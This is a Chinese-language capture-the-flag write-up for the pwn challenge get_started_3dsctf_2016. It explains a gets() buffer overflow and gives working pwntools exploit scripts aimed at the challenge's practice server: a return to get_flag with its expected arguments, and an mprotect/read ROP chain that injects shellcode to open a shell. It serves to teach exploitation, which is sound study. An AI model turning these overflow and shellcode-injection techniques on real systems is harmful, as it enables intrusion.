get_started_3dsctf_2016
记一次有意思的题解
checksec一下,32位程序,保护措施只开了NX
拖进ida打开,gets函数存在溢出
存在后门函数,直接打开了flag.txt,读取到了flag的内容
所以最开始思路是利用溢出将返回地址填充为get_flag的地址,这里溢出是0x38,初步撰写exp
这里我是在文件夹下建立了一个名为flag.txt的文件,里面内容是kiki1ebkfd
脚本如下
from pwn import *
io = process('./get_started_3dsctf_2016')
context.log_level = 'debug'
payload = b'a'*56
payload += p32(0x080489B8)
io.sendline(payload)
io.recv()
可以看到在本地的话,是成功打通了
但是远程打不通,问题就在于,当调用get_flag函数的时候,程序并不会正常退出,而异常退出的话,最后便没有回显。所以这道题应设法使得程序正常退出。
继续看程序,发现存在一个exit函数,该函数可以使得程序正常退出
再看get_flag函数,存在两个参数,那思路就是通过溢出,调用get_flag,向里面传入两个参数,接着返回函数,也就是exit函数
构造如下’a’*offset + ‘ebp’ + get_flag的地址 + get_flag的返回地址(exit函数) + 参数1 + 参数2
这里需要注意的就是当一个父函数去调用一个子函数的时候,它会先将子函数的返回地址压入栈中,再将所用到的参数压入栈中
所以新构造的payload应该为
from pwn import *
io = remote('node5.buuoj.cn',28451)
context.log_level = 'debug'
sleep(0.1)
payload = b'a'*56
payload += p32(0x080489A0) + p32(0x0804E6A0)
payload += p32(0x308CD64F) + p32(0x195719D1)
io.sendline(payload)
sleep(0.1)
io.recv()
这样便可以打通了,
不过在查阅其他师傅的博客的时候,发现了另一种解法,可以打通远程,主要用到了程序里的mprotect函数
mprotect函数原型如下
int mprotect(void *addr, size_t len, int prot);
addr 内存启始地址
len 修改内存的长度
prot 内存的权限
这里用到三个参数,利用ROPgadget寻找
修改的函数为
那么问题来了,为什么要修改这里,为什么是0x80EB000而不是bss段的开头0x80EBF80,因为指定的内存区间必须包含整个内存页(4K),起始地址 start 必须是一个内存页的起始地址,并且区间长度 len 必须是页大小的整数倍。
然后将返回地址填上read函数,因为接下来要将shellcode读入程序段,需要继续控制程序
read函数
read函数原型
ssize_t read(int fd, void *buf, size_t count);
fd 设为0时就可以从输入端读取内容 设为0
buf 设为我们想要执行的内存地址 设为我们已找到的内存地址0x80EB000
size 适当大小就可以 读入shellcode
接下来将返回地址填充为我们修改的内存地址,填入shellcode
完整exp如下
from pwn import *
elf = ELF('./get_started_3dsctf_2016')
io=remote('node5.buuoj.cn', 28451)
pop3_ret = 0x804951D
mem_addr = 0x80EB000
mem_size = 0x1000
mem_proc = 0x7
mprotect_addr = elf.symbols['mprotect']
read_addr = elf.symbols['read']
payload = b'a' * 0x38
payload += p32(mprotect_addr)
payload += p32(pop3_ret)
payload += p32(mem_addr)
payload += p32(mem_size)
payload += p32(mem_proc)
payload += p32(read_addr)
payload += p32(pop3_ret)
payload += p32(0)
payload += p32(mem_addr)
payload += p32(0x100)
payload += p32(mem_addr)
io.sendline(payload)
payload = asm(shellcraft.sh())
io.sendline(payload)
io.interactive()